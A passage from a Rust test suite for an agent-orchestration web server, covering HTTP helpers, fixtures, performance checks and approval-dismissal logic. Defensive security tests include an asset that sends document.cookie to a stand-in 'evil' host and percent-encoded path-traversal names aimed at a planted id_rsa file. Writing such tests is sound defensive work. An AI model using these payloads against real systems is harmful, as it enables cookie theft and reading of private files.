11760    async fn list_endpoints_large_home_responses() {
11761        check_large_home_endpoints(false).await;
11762    }
11763
11764    #[tokio::test]
11765    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11766    async fn list_endpoints_large_home_ceiling() {
11767        check_large_home_endpoints(true).await;
11768    }
11769
11770    async fn check_large_home_endpoints(timed: bool) {
11771        let (_tmp, repos, fx) = performance_fixture().await;
11772        seed_performance(&fx, &repos, 200, 300, 400);
11773        let mut failures = Vec::new();
11774        // app.js boot/change loads plus the initial dashboard, settings and
11775        // repo picker. SSE is a persistent stream, not a bounded GET.
11776        for path in [
11777            "/",
11778            "/app.js",
11779            "/app.css",
11780            "/api/questions",
11781            "/api/runs?limit=300",
11782            "/api/queue",
11783            "/api/talks",
11784            "/api/notifications",
11785            "/api/health",
11786            "/api/stats",
11787            "/api/loop",
11788            "/api/settings",
11789            "/api/repos",
11790        ] {
11791            let start = std::time::Instant::now();
11792            let result = if timed {
11793                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11794            } else {
11795                Ok(fx.get(path).await)
11796            };
11797            let elapsed = start.elapsed();
11798            eprintln!("{path}: {elapsed:?}");
11799            match result {
11800                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11801                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11802                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11803            }
11804        }
11805        assert!(failures.is_empty(), "{}", failures.join("\n"));
11806    }
11807
11808    struct Res {
11809        status: u16,
11810        headers: String,
11811        /// The header block with its original casing, for the assertions that
11812        /// compare a header *value* rather than looking for a name. Lowercasing
11813        /// a CSP would hide a directive spelled with a capital letter, and the
11814        /// whole point of that test is that the string is exactly right.
11815        head: String,
11816        body: String,
11817        /// The body before any UTF-8 handling, for the routes that serve
11818        /// something other than text. A panel asset is a PNG as often as not,
11819        /// and `from_utf8_lossy` would silently replace half of it.
11820        bytes: Vec<u8>,
11821    }
11822
11823    impl Res {
11824        fn json(&self) -> Value {
11825            serde_json::from_str(&self.body)
11826                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11827        }
11828
11829        /// One header's value verbatim, or `None` when it was not sent.
11830        fn header(&self, name: &str) -> Option<&str> {
11831            self.head.lines().find_map(|line| {
11832                let (key, value) = line.split_once(':')?;
11833                key.trim()
11834                    .eq_ignore_ascii_case(name)
11835                    .then(|| value.trim_start().trim_end_matches('\r'))
11836            })
11837        }
11838    }
11839
11840    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11841    /// be read to end-of-stream without parsing framing.
11842    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11843        request_with(addr, method, path, body, &[]).await
11844    }
11845
11846    /// As [`request`], with extra request headers - conditional GETs need
11847    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11848    /// worse than one that sets none.
11849    async fn request_with(
11850        addr: SocketAddr,
11851        method: &str,
11852        path: &str,
11853        body: Option<&str>,
11854        extra: &[(&str, &str)],
11855    ) -> Res {
11856        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11857        for (name, value) in extra {
11858            head.push_str(&format!("{name}: {value}\r\n"));
11859        }
11860        if let Some(body) = body {
11861            head.push_str("Content-Type: application/json\r\n");
11862            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11863        }
11864        head.push_str("\r\n");
11865        if let Some(body) = body {
11866            head.push_str(body);
11867        }
11868        let mut socket = tokio::net::TcpStream::connect(addr)
11869            .await
11870            .expect("connect to the test server");
11871        socket
11872            .write_all(head.as_bytes())
11873            .await
11874            .expect("write request");
11875        let mut raw = Vec::new();
11876        socket.read_to_end(&mut raw).await.expect("read response");
11877        // Split on the raw bytes rather than on a lossy string, so a binary
11878        // body survives to be compared byte for byte.
11879        let split = raw
11880            .windows(4)
11881            .position(|w| w == b"\r\n\r\n")
11882            .expect("a header block");
11883        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11884        let bytes = raw[split + 4..].to_vec();
11885        let status = head
11886            .lines()
11887            .next()
11888            .and_then(|line| line.split_whitespace().nth(1))
11889            .and_then(|code| code.parse().ok())
11890            .expect("a status line");
11891        Res {
11892            status,
11893            headers: head.to_lowercase(),
11894            head,
11895            body: String::from_utf8_lossy(&bytes).into_owned(),
11896            bytes,
11897        }
11898    }
11899
11900    /// A `POST` carrying a raw binary body and its own headers, for the
11901    /// attachment upload route - `request_with` only ever sends
11902    /// `Content-Type: application/json`, which is wrong for an image and
11903    /// would corrupt anything not valid UTF-8 by round-tripping it through
11904    /// `&str` first.
11905    async fn request_bytes(
11906        addr: SocketAddr,
11907        path: &str,
11908        headers: &[(&str, &str)],
11909        body: &[u8],
11910    ) -> Res {
11911        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11912        for (name, value) in headers {
11913            head.push_str(&format!("{name}: {value}\r\n"));
11914        }
11915        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11916        let mut socket = tokio::net::TcpStream::connect(addr)
11917            .await
11918            .expect("connect to the test server");
11919        socket
11920            .write_all(head.as_bytes())
11921            .await
11922            .expect("write request head");
11923        socket.write_all(body).await.expect("write request body");
11924        let mut raw = Vec::new();
11925        socket.read_to_end(&mut raw).await.expect("read response");
11926        let split = raw
11927            .windows(4)
11928            .position(|w| w == b"\r\n\r\n")
11929            .expect("a header block");
11930        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11931        let bytes = raw[split + 4..].to_vec();
11932        let status = head
11933            .lines()
11934            .next()
11935            .and_then(|line| line.split_whitespace().nth(1))
11936            .and_then(|code| code.parse().ok())
11937            .expect("a status line");
11938        Res {
11939            status,
11940            headers: head.to_lowercase(),
11941            head,
11942            body: String::from_utf8_lossy(&bytes).into_owned(),
11943            bytes,
11944        }
11945    }
11946
11947    /// A run on disk, without touching the process-global magi home.
11948    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11949        let mut state = RunState::new(
11950            PathBuf::from("/repo/magi"),
11951            "main".to_owned(),
11952            "0123456789abcdef".to_owned(),
11953            "Add a web UI\n\nMobile first.".to_owned(),
11954            Config::default(),
11955        );
11956        state.id = id.to_owned();
11957        state.status = status;
11958        let dir = runs.join(id);
11959        std::fs::create_dir_all(&dir).expect("run dir");
11960        std::fs::write(
11961            dir.join("run.json"),
11962            serde_json::to_string_pretty(&state).expect("serialize run"),
11963        )
11964        .expect("write run.json");
11965    }
11966
11967    /// Same as [`write_run`], but against a named repository rather than the
11968    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11969    /// spread across more than one.
11970    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11971        let mut state = RunState::new(
11972            PathBuf::from(repo),
11973            "main".to_owned(),
11974            "0123456789abcdef".to_owned(),
11975            "task".to_owned(),
11976            Config::default(),
11977        );
11978        state.id = id.to_owned();
11979        state.status = status;
11980        let dir = runs.join(id);
11981        std::fs::create_dir_all(&dir).expect("run dir");
11982        std::fs::write(
11983            dir.join("run.json"),
11984            serde_json::to_string_pretty(&state).expect("serialize run"),
11985        )
11986        .expect("write run.json");
11987    }
11988
11989    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11990        let body = serde_json::json!({
11991            "schema": 1,
11992            "pid": 4242,
11993            "started_at": Timestamp::now().to_string(),
11994            "updated_at": updated_at.to_string(),
11995            "idle": false,
11996            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11997            "completed": 7,
11998            "polls": 143,
11999        });
12000        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12001    }
12002
12003    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12004    ///
12005    /// No test in this file may start the real loop - see [`Ui::launch`] for
12006    /// why - so this stands in for the only thing the routes need a loop to
12007    /// do: keep running until `Stop` is set, then return. A real
12008    /// `serve_until` here would resolve its queue and its status file through
12009    /// the process-global magi home, claim whatever it found in the
12010    /// operator's live backlog, overwrite the status file of the `magi serve`
12011    /// that owns it, and spend real agent quota on a real competition.
12012    fn launch_idle(
12013        _opts: daemon::Opts,
12014        stop: daemon::Stop,
12015    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12016        Box::pin(async move {
12017            while !stop.stopped() {
12018                tokio::time::sleep(Duration::from_millis(2)).await;
12019            }
12020            Ok(())
12021        })
12022    }
12023
12024    /// A loop that fails on the way up, the way one whose home has gone
12025    /// read-only does.
12026    fn launch_broken(
12027        _opts: daemon::Opts,
12028        _stop: daemon::Stop,
12029    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12030        // The stand-in dies instantly, so a restarted one can record its own
12031        // failure before the start's response is read. The second attempt
12032        // therefore fails with a different message, to tell a stale error
12033        // from a fresh one.
12034        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12035        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12036        Box::pin(async move {
12037            Err(anyhow::anyhow!(if first {
12038                "publish the daemon status file: read-only file system"
12039            } else {
12040                "the restarted stand-in failed as well"
12041            }))
12042        })
12043    }
12044
12045    /// The loop view once `want` accepts it.
12046    ///
12047    /// Polled rather than asserted straight after the POST because stopping
12048    /// is deliberately not instant - that is the contract - and rather than
12049    /// slept through because a fixed wait is either flaky or slow.
12050    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12051    /// finite, so a genuine hang fails the test instead of hanging the
12052    /// suite.
12053    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12054        for _ in 0..SETTLE_STEPS {
12055            let view = fx.get("/api/loop").await.json();
12056            if want(&view) {
12057                return view;
12058            }
12059            tokio::time::sleep(Duration::from_millis(10)).await;
12060        }
12061        panic!(
12062            "the loop never settled: {}",
12063            fx.get("/api/loop").await.json()
12064        );
12065    }
12066
12067    /// File an open question directly in the store the server reads.
12068    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12069        let store = fx.questions();
12070        let mut q = Question::new(
12071            "20260902-000000-beef".to_owned(),
12072            "implement".to_owned(),
12073            "impl-A".to_owned(),
12074            summary.to_owned(),
12075            "because it matters".to_owned(),
12076            choices.iter().map(|c| (*c).to_owned()).collect(),
12077        );
12078        store.put(&mut q).expect("put question");
12079        q.id
12080    }
12081
12082    /// A question with a panel the server can serve, plus the named assets.
12083    ///
12084    /// Written through `Questions::put_panel` rather than by laying out the
12085    /// directory here, so these tests exercise the same on-disk shape the
12086    /// agents produce and cannot pass against a layout only the tests know.
12087    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12088        let store = fx.questions();
12089        let mut q = Question::new(
12090            "20260902-000000-beef".to_owned(),
12091            "land".to_owned(),
12092            "fix".to_owned(),
12093            "Merge this?".to_owned(),
12094            "the diff is in the panel".to_owned(),
12095            vec!["merge".to_owned(), "hold".to_owned()],
12096        );
12097        // Staged outside the questions root, because `put_panel` copies from
12098        // wherever the agent left its files.
12099        let staging = fx.home.path().join("staging");
12100        std::fs::create_dir_all(&staging).expect("staging dir");
12101        let sources: Vec<PathBuf> = assets
12102            .iter()
12103            .map(|(name, bytes)| {
12104                let path = staging.join(name);
12105                std::fs::write(&path, bytes).expect("write staged asset");
12106                path
12107            })
12108            .collect();
12109        store
12110            .put_panel(&mut q, html, &sources)
12111            .expect("write the panel");
12112        store.put(&mut q).expect("put question");
12113        q.id
12114    }
12115
12116    /// A talk on disk, without talking to a model.
12117    ///
12118    /// Written as JSON straight into the store the server reads, because the
12119    /// only constructor `talk::begin` offers takes no turn but still requires
12120    /// a real caller-visible flow. The one thing this cannot make up is the
12121    /// seat, so it is built with the real `SeatState::new` and serialized -
12122    /// the alternative, hand-writing that object, would make these tests fail
12123    /// the day the seat gains a field.
12124    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12125        seed_talk_at(&fx.talks(), id, status)
12126    }
12127
12128    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12129        std::fs::create_dir_all(store.root()).expect("talks dir");
12130        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12131            .expect("serialize a seat");
12132        let body = serde_json::json!({
12133            "schema": 1,
12134            "id": id,
12135            "repo": "/repo/magi",
12136            "agent": "mock",
12137            "status": status,
12138            "turns": [],
12139            "created_at": Timestamp::now().to_string(),
12140            "updated_at": Timestamp::now().to_string(),
12141            "seat": seat,
12142        });
12143        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12144        store.get(id).expect("the seeded talk has to be readable");
12145        id.to_owned()
12146    }
12147
12148    #[tokio::test]
12149    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12150        let fx = Fixture::start().await;
12151        let id = panel(
12152            &fx,
12153            "<h1>Merge?</h1><img src=\"diff.svg\">",
12154            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12155        );
12156
12157        for path in [
12158            format!("/api/questions/{id}/panel"),
12159            format!("/api/questions/{id}/asset/diff.svg"),
12160        ] {
12161            let res = fx.get(&path).await;
12162            assert_eq!(res.status, 200, "{path}: {}", res.body);
12163            // The whole string, not a substring. A weakened directive - an
12164            // `img-src *` that lets a panel beacon out to a remote host, a
12165            // `script-src` anything, a missing `form-action` that lets it post
12166            // the owner's decision to a third party - has to fail here, and a
12167            // `contains` assertion would let every one of those through.
12168            assert_eq!(
12169                res.header("content-security-policy"),
12170                Some(
12171                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12172                     font-src data:; base-uri 'none'; form-action 'none'; \
12173                     frame-ancestors 'self'"
12174                ),
12175                "{path} is the only thing between a hostile panel and the tailnet"
12176            );
12177            assert_eq!(
12178                res.header("x-content-type-options"),
12179                Some("nosniff"),
12180                "{path}: a browser must not re-decide the type we sent"
12181            );
12182            assert_eq!(
12183                res.header("referrer-policy"),
12184                Some("no-referrer"),
12185                "{path}: a panel must not leak the question id off the machine"
12186            );
12187
12188            // The front end mounts the frame only after a `HEAD` says the
12189            // panel is there, so `HEAD` has to answer with the same status and
12190            // the same policy as `GET` - a preflight that came back without
12191            // the CSP would mean a frame mounted on an unverified promise.
12192            let pre = fx.head(&path).await;
12193            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12194            assert_eq!(
12195                pre.header("content-security-policy"),
12196                res.header("content-security-policy"),
12197                "{path}: the preflight carries the same policy"
12198            );
12199            assert_eq!(
12200                pre.header("content-type"),
12201                res.header("content-type"),
12202                "{path}: the preflight carries the same type"
12203            );
12204        }
12205    }
12206
12207    #[tokio::test]
12208    async fn a_panel_reaches_the_browser_byte_for_byte() {
12209        let fx = Fixture::start().await;
12210        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12211        // tag, an entity, and a multi-byte character. The sandbox is what makes
12212        // this safe, so nothing here may be rewritten on the way out - a
12213        // rewritten diff is a diff the owner cannot trust.
12214        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12215        let id = panel(&fx, html, &[]);
12216
12217        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12218
12219        assert_eq!(res.status, 200);
12220        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12221        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12222        assert_eq!(
12223            res.header("content-disposition"),
12224            None,
12225            "the panel itself is rendered in the frame, not downloaded"
12226        );
12227    }
12228
12229    #[tokio::test]
12230    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12231        let fx = Fixture::start().await;
12232        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12233        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12234        let id = panel(
12235            &fx,
12236            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12237            &[("diff.svg", svg), ("shot.png", png)],
12238        );
12239
12240        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12241        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12242
12243        assert_eq!(as_svg.status, 200);
12244        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12245        // An SVG is XML that may carry script. Inside the panel it is an
12246        // `<img src>` and the script cannot run; opened at the top level it
12247        // would be a document on magi's own origin, so the browser is told to
12248        // download it instead of rendering it.
12249        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12250
12251        assert_eq!(as_png.status, 200);
12252        assert_eq!(as_png.header("content-type"), Some("image/png"));
12253        assert_eq!(
12254            as_png.header("content-disposition"),
12255            None,
12256            "a raster image has no execution surface, so tapping it still shows it"
12257        );
12258        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12259    }
12260
12261    #[tokio::test]
12262    async fn an_html_asset_is_never_served_as_html() {
12263        let fx = Fixture::start().await;
12264        let id = panel(
12265            &fx,
12266            "<p>see the notes</p>",
12267            &[
12268                (
12269                    "notes.html",
12270                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12271                ),
12272                ("hook.js", b"fetch('http://evil/')"),
12273                ("data.json", b"{}"),
12274                ("HEADLINE.TXT", b"plain"),
12275            ],
12276        );
12277
12278        for name in ["notes.html", "hook.js", "data.json"] {
12279            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12280            assert_eq!(res.status, 200, "{name}: {}", res.body);
12281            // Serving this as text/html would be a way to reach agent markup
12282            // at the top level of the operator's browser, outside the frame's
12283            // sandbox and outside its CSP - which is the whole thing the panel
12284            // design exists to prevent. Unlisted types are downloads.
12285            assert_eq!(
12286                res.header("content-type"),
12287                Some("application/octet-stream"),
12288                "{name} must not be a type the browser will execute or render"
12289            );
12290        }
12291        // The whitelist is matched case-insensitively, so an agent shouting the
12292        // extension still gets a readable file rather than a download.
12293        let txt = fx
12294            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12295            .await;
12296        assert_eq!(
12297            txt.header("content-type"),
12298            Some("text/plain; charset=utf-8")
12299        );
12300    }
12301
12302    #[tokio::test]
12303    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12304        let fx = Fixture::start().await;
12305        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12306        // Something outside the panel directory that a traversal would reach if
12307        // one got through, so a passing test is not merely "the file was
12308        // missing anyway".
12309        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12310
12311        // Decoded before this server's handler sees them: axum percent-decodes
12312        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12313        // string with a NUL in it. All three look like ordinary single-segment
12314        // filenames to the router, so the router passes them through and
12315        // `valid_asset_name` is what refuses them - for the literal `..`, and
12316        // for `/`, `\` and NUL not being in the permitted character set.
12317        for encoded in [
12318            "%2e%2e%2fid_rsa",
12319            "..%2fid_rsa",
12320            "..%5cid_rsa",
12321            "%2e%2e%5cid_rsa",
12322            "diff%00.svg",
12323            "..",
12324            ".hidden",
12325            "%2e%2e%2f%2e%2e%2fid_rsa",
12326        ] {
12327            let res = fx
12328                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12329                .await;
12330            assert_eq!(
12331                res.status, 400,
12332                "`{encoded}` has to be refused by name, not looked up: {}",
12333                res.body
12334            );
12335            assert!(res.json()["error"].is_string(), "{}", res.body);
12336        }
12337
12338        // Not decoded, and never this handler's problem: a real slash makes the
12339        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12340        // so axum's router has no route to match and answers before any code
12341        // here runs. Asserted so that a future route with a wildcard segment
12342        // cannot quietly open this door.
12343        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12344            let res = fx
12345                .get(&format!("/api/questions/{id}/asset/{literal}"))
12346                .await;
12347            assert_eq!(
12348                res.status, 404,
12349                "`{literal}` must not match the asset route at all: {}",
12350                res.body
12351            );
12352        }
12353    }
12354
12355    #[tokio::test]
12356    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12357        let fx = Fixture::start().await;
12358        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12359        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12360
12361        // A question nobody wrote a panel for. The client preflights with HEAD
12362        // and cannot see inside a sandboxed frame, so this must be a status and
12363        // not an empty page.
12364        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12365        assert_eq!(none.status, 404, "{}", none.body);
12366        assert!(none.json()["error"].is_string(), "{}", none.body);
12367        assert_eq!(
12368            fx.head(&format!("/api/questions/{plain}/panel"))
12369                .await
12370                .status,
12371            404,
12372            "the preflight is the only way the client can learn this"
12373        );
12374
12375        // A name that is perfectly legal and simply is not there.
12376        let missing = fx
12377            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12378            .await;
12379        assert_eq!(missing.status, 404, "{}", missing.body);
12380        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12381
12382        // A question that does not exist at all, on both routes.
12383        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12384        assert_eq!(
12385            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12386            404
12387        );
12388    }
12389
12390    #[tokio::test]
12391    async fn a_run_with_an_open_question_reads_as_waiting() {
12392        let fx = Fixture::start().await;
12393        let run = "20260902-000000-beef".to_owned();
12394        write_run(&fx.runs(), &run, RunStatus::Implementing);
12395
12396        let before = fx.get("/api/runs").await.json();
12397        assert_eq!(before[0]["waiting"], false, "{before}");
12398
12399        let store = fx.questions();
12400        let mut q = Question::new(
12401            run.clone(),
12402            "implement".to_owned(),
12403            "impl-A".to_owned(),
12404            "Which backend?".to_owned(),
12405            String::new(),
12406            vec!["SQLite".to_owned()],
12407        );
12408        store.put(&mut q).expect("put");
12409
12410        let during = fx.get("/api/runs").await.json();
12411        assert_eq!(during[0]["waiting"], true, "{during}");
12412
12413        // Answered: the run is moving again, and the flag has to follow without
12414        // anything having rewritten run.json.
12415        q.answer(Answer::Choice("SQLite".to_owned()))
12416            .expect("answer");
12417        store.put(&mut q).expect("put");
12418        let after = fx.get("/api/runs").await.json();
12419        assert_eq!(after[0]["waiting"], false, "{after}");
12420    }
12421
12422    #[tokio::test]
12423    async fn an_open_question_is_listed_and_counted_by_health() {
12424        let fx = Fixture::start().await;
12425        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12426
12427        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12428        let listed = fx.get("/api/questions").await.json();
12429        assert_eq!(listed.as_array().expect("array").len(), 1);
12430        assert_eq!(listed[0]["id"], id);
12431        assert_eq!(listed[0]["status"], "open");
12432        assert_eq!(listed[0]["choices"][1], "Redis");
12433        // The count is what makes the phone's indicator honest: it is the one
12434        // number meaning nothing will move until a human acts.
12435        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12436    }
12437
12438    fn obsolete_approval_state() -> RunState {
12439        let mut state = crate::land::tests::repair_state(true, true);
12440        state.pr = Some(crate::run::PrRecord {
12441            url: "https://github.com/example/repo/pull/42".into(),
12442            number: 42,
12443            state: "open".into(),
12444            checks: "green".into(),
12445            round: 1,
12446            rounds: 4,
12447            red_at_merge: Vec::new(),
12448        });
12449        state
12450    }
12451
12452    #[tokio::test]
12453    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12454        for owner in ["missing", "current", "completed", "later"] {
12455            let fx = Fixture {
12456                home: TempDir::new().unwrap(),
12457                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12458            };
12459            let mut state = obsolete_approval_state();
12460            state.status = RunStatus::Landing;
12461            state.parked = true;
12462            state.driver_exited = true;
12463            let mut q = Question::new(
12464                state.id.clone(),
12465                crate::land::APPROVAL_NODE.into(),
12466                "land".into(),
12467                "Old approval".into(),
12468                "Original evidence".into(),
12469                vec!["merge".into(), "hold".into()],
12470            );
12471            state.land_approval = Some(crate::run::LandApproval {
12472                question: q.id.clone(),
12473                head: "head".into(),
12474            });
12475            state.save_under(fx.home.path()).unwrap();
12476            let stale = state.clone();
12477            fx.questions().put(&mut q).unwrap();
12478            let mut task = Task::new(
12479                "Owner".into(),
12480                "Original instruction".into(),
12481                state.repo.clone(),
12482                Source::Human,
12483            );
12484            task.runs.push(state.id.clone());
12485            task.status = if owner == "completed" {
12486                TaskStatus::Done
12487            } else {
12488                TaskStatus::Parked
12489            };
12490            if owner == "later" {
12491                task.runs.push("later-run".into());
12492            }
12493            if owner != "missing" {
12494                fx.queue().put(&mut task).unwrap();
12495            }
12496            let ui = Arc::new(Ui::new(
12497                fx.queue(),
12498                fx.questions(),
12499                fx.talks(),
12500                fx.runs(),
12501                fx.home.path().into(),
12502                state.repo.clone(),
12503            ));
12504            let response = question_answer(
12505                State(ui),
12506                Path(q.id.clone()),
12507                Ok(Json(NewAnswer {
12508                    choice: Some(crate::merge_decision::DISMISS.into()),
12509                    text: None,
12510                    ..Default::default()
12511                })),
12512            )
12513            .await
12514            .unwrap();
12515            assert_eq!(
12516                response.0.question.resolution().as_deref(),
12517                Some(crate::merge_decision::DISMISS)
12518            );
12519            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12520            assert_eq!(disk.status, RunStatus::Superseded);
12521            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12522            assert!(!crate::merge_decision::resumable_hold(&disk));
12523            assert_eq!(
12524                serde_json::to_value(&disk.pr).unwrap(),
12525                serde_json::to_value(&stale.pr).unwrap()
12526            );
12527            assert_eq!(fx.questions().count_open(), 0);
12528            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12529            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12530            if owner == "missing" {
12531                assert!(fx.queue().list().is_empty());
12532            } else {
12533                let after = fx.queue().get(&task.id).unwrap();
12534                assert_eq!(
12535                    after.status,
12536                    if owner == "current" {
12537                        TaskStatus::Done
12538                    } else {
12539                        task.status
12540                    }
12541                );
12542                assert_eq!(after.runs, task.runs);
12543                assert_eq!(after.instruction, task.instruction);
12544                assert_eq!(after.action_applied(&q.id), owner == "current");
12545            }
12546        }
12547    }
12548
12549    #[tokio::test]
12550    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12551        let fx = Fixture::start().await;
12552        let mut state = obsolete_approval_state();
12553        state.status = RunStatus::Landing;
12554        state.parked = true;
12555        state.driver_exited = true;
12556        let mut q = Question::new(
12557            state.id.clone(),
12558            crate::land::APPROVAL_NODE.into(),
12559            "land".into(),
12560            "Superseded PR approval".into(),
12561            "Original review evidence".into(),
12562            vec!["merge".into(), "hold".into()],
12563        );
12564        state.land_approval = Some(crate::run::LandApproval {
12565            question: q.id.clone(),
12566            head: "old-reviewed-head".into(),
12567        });
12568        // The old persisted PR may still say open even when a separate change
12569        // already landed. Dismissal must not use that snapshot to close it.
12570        state.save_under(fx.home.path()).unwrap();
12571        let stale_driver = state.clone();
12572        fx.questions().put(&mut q).unwrap();
12573        let path = fx
12574            .home
12575            .path()
12576            .join("questions")
12577            .join(format!("{}.json", q.id));
12578        let mut legacy = serde_json::to_value(&q).unwrap();
12579        legacy["schema"] = 9.into();
12580        legacy.as_object_mut().unwrap().remove("merge_target");
12581        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12582
12583        // POST without GET tests legacy upgrade and validation at the actual
12584        // entry point, rather than constructing a modern card in the test.
12585        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12586        let answer_path = format!("/api/questions/{}/answer", q.id);
12587        let res = fx.post(&answer_path, Some(&body)).await;
12588        assert_eq!(res.status, 200, "{}", res.body);
12589        let disk = fx.questions().get(&q.id).unwrap();
12590        assert_eq!(
12591            disk.resolution().as_deref(),
12592            Some(crate::merge_decision::DISMISS)
12593        );
12594        assert!(disk.detail.starts_with("Original review evidence"));
12595        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12596        assert_eq!(retired.status, RunStatus::Superseded);
12597        assert_eq!(
12598            serde_json::to_value(&retired.pr).unwrap(),
12599            serde_json::to_value(&state.pr).unwrap()
12600        );
12601        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12602        assert!(!crate::merge_decision::resumable_hold(&retired));
12603        assert!(fx.queue().list().is_empty());
12604        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12605        // A restarted server re-reads the persisted pending list.
12606        let addr = Fixture::serve(
12607            fx.home.path(),
12608            PathBuf::from("/repo/magi"),
12609            launch_idle,
12610            None,
12611        )
12612        .await;
12613        let reconnected = Fixture {
12614            home: fx.home,
12615            addr,
12616        };
12617        let listed = reconnected.get("/api/questions").await.json();
12618        assert!(
12619            listed
12620                .as_array()
12621                .unwrap()
12622                .iter()
12623                .all(|q| q["status"] != "open")
12624        );
12625        assert_eq!(listed[0]["id"], q.id, "history remains available");
12626        assert_eq!(
12627            reconnected.get("/api/health").await.json()["questions_open"],
12628            0
12629        );
12630        assert_eq!(
12631            reconnected
12632                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12633                .await
12634                .status,
12635            409
12636        );
12637        // A late waiter cannot turn the old answer into a new decision.
12638        assert!(
12639            reconnected
12640                .questions()
12641                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12642                .is_err()
12643        );
12644        // The same guard used by claims, repair and publication rejects a
12645        // saved in-memory driver as well as the persisted terminal record.
12646        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12647    }
12648
12649    #[tokio::test]
12650    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
